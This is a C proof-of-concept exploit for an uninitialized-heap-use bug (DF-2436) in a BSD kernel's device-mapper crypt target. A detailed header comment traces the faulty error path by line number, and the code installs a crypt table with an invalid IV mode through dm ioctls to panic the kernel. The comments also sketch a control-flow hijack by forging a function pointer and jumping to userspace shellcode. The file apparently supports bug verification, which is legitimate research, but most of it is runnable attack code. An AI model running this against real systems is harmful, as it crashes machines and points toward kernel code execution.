/*
 * DF-2436 PoC -- use of uninitialized heap memory in
 *               dm_target_crypt_destroy() on partial-init failure.
 *
 * Bug: in sys/dev/disk/dm/crypt/dm_target_crypt.c dm_target_crypt_init():
 *
 *   489: priv = kmalloc(sizeof(dm_target_crypt_config_t), M_DMCRYPT, M_WAITOK);
 *        ^^^ NO M_ZERO -- priv contains heap residue. ivgen, ivgen_priv,
 *            crypto_session, status_str, read_mpipe, write_mpipe are GARBAGE.
 *   ...
 *   513: dm_table_init_target(table_en, priv);   <-- PUBLISHES priv (garbage)
 *   ...
 *   521/533/543/552/564: goto notsup;            <-- 5 error paths AFTER publish
 *                                                    and BEFORE ivgen/crypto_session
 *                                                    /status_str/mpipes initialized.
 *
 * The notsup block (584-587) only frees the local status_str and returns ENOTSUP;
 * it does NOT zero priv's fields, does NOT NULL table_en->target_config, and
 * does NOT free priv (the caller will via dm_table_destroy).
 *
 * Caller dm_table_load_ioctl (sys/dev/disk/dm/dm_ioctl.c:783-785) on init error
 * calls dm_table_destroy() -> dm_target_crypt_destroy(table_en) which reads the
 * uninitialized fields:
 *
 *   destroy (dm_target_crypt.c:607):
 *     620: dmtc_destroy_mpipe(priv);
 *            -> mpipe_done(&priv->read_mpipe)  (kern_mpipe.c:128)
 *                  KKASSERT(mpipe->free_count == mpipe->total_count)
 *                  ^^^ both garbage -> INVARIANTS panic "no outstanding mem"
 *     628: if (priv->status_str) { ... strlen(priv->status_str) ... kfree(...) }
 *            ^^^ garbage pointer deref
 *     633: if ((priv->ivgen) && (priv->ivgen->dtor != NULL)) { ... }
 *            ^^^ garbage function pointer deref / control-flow hijack primitive
 *     637: cryptoapi_cipher_freesession(priv->crypto_session);
 *            ^^^ garbage pointer deref
 *
 * This is CWE-908 (Use of Uninitialized Resource). On the default GENERIC
 * kernel (INVARIANTS ON) it manifests as the mpipe_done() KKASSERT panic at
 * kern_mpipe.c:128 because two random 4-byte heap-residue ints (free_count /
 * total_count) almost never compare equal.
 *
 * TRIGGER: install a `crypt` table with a valid cipher + valid device + valid
 * hex key, but an INVALID iv_mode name (e.g. "bogusiv"), so execution reaches
 * the iv_mode lookup loop (line 525-528) AFTER priv is published (513) and
 * takes the `goto notsup` at line 533 -- all of ivgen/ivgen_priv/crypto_session
 * /status_str/read_mpipe/write_mpipe still raw heap.
 *
 *   argv[0]="aes-xts-bogusiv"  -> crypto_alg="aes" crypto_mode="xts"
 *                                  iv_opt="bogusiv" iv_mode="bogusiv"
 *   argv[1]=<64 hex chars>     -> 256-bit key, hex2key OK, klen_in_bits=256
 *   argv[2]="0"                -> iv_offset=0
 *   argv[3]="/dev/md0"         -> dm_pdev_insert OK (md0 present)
 *   argv[4]="0"                -> block_offset=0
 *
 * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator (device-mapper.c:181)
 * and the dm module must be kldload-ed by root. The whole dm ioctl surface is
 * therefore root/operator-only. There is NO unprivileged path (maxx uid 1001
 * is not in wheel/operator), so uid0 escalation is blocked by privilege --
 * a VALID hard blocker (root->kernel is game-over by definition). The realistic
 * impact is a root/operator local DoS (INVARIANTS panic) plus an uninitialized-
 * heap-use primitive toward code execution if an attacker can groom the slab
 * so priv->ivgen->dtor points at a forged iv_generator with a chosen function
 * pointer (defense-in-depth; SMEP/SMAP OFF on this guest would let such a
 * pointer jump to userspace shellcode on a noinv build).
 *
 * Build:  cc -O2 -o dm_crypt_uninit dm_crypt_uninit.c -lprop
 * Run:    ./dm_crypt_uninit            (as root, after `kldload dm`)
 *
 * Expected on BUGGY kernel: guest PANICS in mpipe_done() KKASSERT at
 *   kern_mpipe.c:128 ("no outstanding mem"), or a garbage-pointer fault in
 *   dm_target_crypt_destroy(); boot.log shows the panic signature, ssh dies.
 * Expected on FIXED kernel: reload returns EINVAL/ENOTSUP cleanly, guest
 *   stays up, no panic.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <libprop/proplib.h>
#include <dev/disk/dm/netbsd-dm.h>

#define DM_CONTROL_DEV "/dev/mapper/control"
#define DEV_NAME "df2436dev"

/* 256-bit AES key (64 hex chars); aes-xts accepts 256-bit key in cryptoapi. */
#define HEXKEY "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"

/* Underlying block device; dm_pdev_insert must open it. /dev/md0 exists. */
#define UNDERLYING_DEV "/dev/md0"

/*
 * INVALID iv_mode -> reaches the ivgens[] lookup (line 525) AFTER priv is
 * published (513) and after hex2key succeeds (515-518), then takes
 * `goto notsup` at line 533. At this point read_mpipe/write_mpipe/ivgen/
 * crypto_session/status_str are all uninitialized heap residue.
 */
#define BAD_IV_MODE "bogusiv"

static int g_ctlfd = -1;

static int
send_ioctl(prop_dictionary_t dict)
{
    return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL);
}

static prop_dictionary_t
new_dm_dict(const char *command)
{
    prop_dictionary_t dict;
    prop_array_t ver;

    dict = prop_dictionary_create();
    ver = prop_array_create();
    prop_array_add_uint32(ver, 4); /* major */
    prop_array_add_uint32(ver, 0); /* minor <= 16 */
    prop_array_add_uint32(ver, 0);
    prop_dictionary_set(dict, DM_IOCTL_VERSION, ver);
    prop_object_release(ver);
    prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command);
    prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0);
    return dict;
}

static int
do_create(void)
{
    prop_dictionary_t dict = new_dm_dict("create");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
    int rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

static int
do_remove(void)
{
    prop_dictionary_t dict = new_dm_dict("remove");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);
    int rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

/*
 * Install a `crypt` table with a valid cipher/device/key but INVALID iv_mode.
 * dm_target_crypt_init() will:
 *   - allocate priv (no M_ZERO)            [line 489]
 *   - dm_pdev_insert(/dev/md0) OK          [line 492]
 *   - dmtc_find_crypto_cipher(aes,xts,256) OK  [line 498]
 *   - dm_table_init_target -> PUBLISH priv [line 513]
 *   - hex2key OK                           [line 515]
 *   - iv_mode "bogusiv" NOT in ivgens -> goto notsup  [line 533]
 * Then the caller sees ENOTSUP, calls dm_table_destroy -> destroy reads the
 * uninitialized mpipe/status_str/ivgen/crypto_session fields -> panic.
 */
static int
do_reload_bad_iv(void)
{
    prop_dictionary_t dict, target_dict;
    prop_array_t cmd_data;
    char params[512];
    int rv;

    snprintf(params, sizeof(params),
        "aes-xts-%s %s 0 %s 0", BAD_IV_MODE, HEXKEY, UNDERLYING_DEV);

    dict = new_dm_dict("reload");
    prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME);

    cmd_data = prop_array_create();
    target_dict = prop_dictionary_create();
    prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "crypt");
    prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0);
    prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 2097152);
    prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params);
    prop_array_add(cmd_data, target_dict);
    prop_object_release(target_dict);
    prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data);
    prop_object_release(cmd_data);

    rv = send_ioctl(dict);
    prop_object_release(dict);
    return rv;
}

int
main(void)
{
    int rv;

    g_ctlfd = open(DM_CONTROL_DEV, O_RDWR);
    if (g_ctlfd < 0) {
        fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno));
        fprintf(stderr, "    (need root; is `dm` loaded? run: kldload dm)\n");
        return 1;
    }

    printf("[*] DF-2436 dm_target_crypt_destroy uninitialized-heap-use\n");
    printf("[*] trigger: reload crypt table with iv_mode=\"%s\" (not in ivgens)\n",
        BAD_IV_MODE);
    printf("[*]     -> priv published at dm_target_crypt.c:513 with raw heap\n");
    printf("[*]        in ivgen/crypto_session/status_str/read_mpipe/write_mpipe\n");
    printf("[*]     -> destroy reads them: mpipe_done KKASSERT / garbage deref\n");
    fflush(stdout);

    (void)do_remove();
    rv = do_create();
    if (rv != 0) {
        fprintf(stderr, "[!] create rv=%d (%s)\n", rv, strerror(rv));
        close(g_ctlfd);
        return 1;
    }

    printf("[*] firing reload with invalid iv_mode (priv published, then notsup)...\n");
    fflush(stdout);

    /*
     * On the buggy kernel this ioctl triggers the panic inside the kernel
     * (in dm_table_destroy -> dm_target_crypt_destroy -> mpipe_done), so the
     * ioctl typically does NOT return -- ssh dies, boot.log captures the
     * panic. If we get here, the ioctl either returned an error (fixed kernel
     * or the path was safe) or we raced past the panic.
     */
    rv = do_reload_bad_iv();
    printf("[*] reload returned rv=%d (%s)\n", rv, rv ? strerror(rv) : "ok");
    printf("[!!!] REACHED HERE = guest survived. On the buggy kernel the guest\n");
    printf("      should have panicked in mpipe_done() during destroy. Check\n");
    printf("      boot.log for the panic signature.\n");
    fflush(stdout);

    (void)do_remove();
    close(g_ctlfd);
    return 0;
}
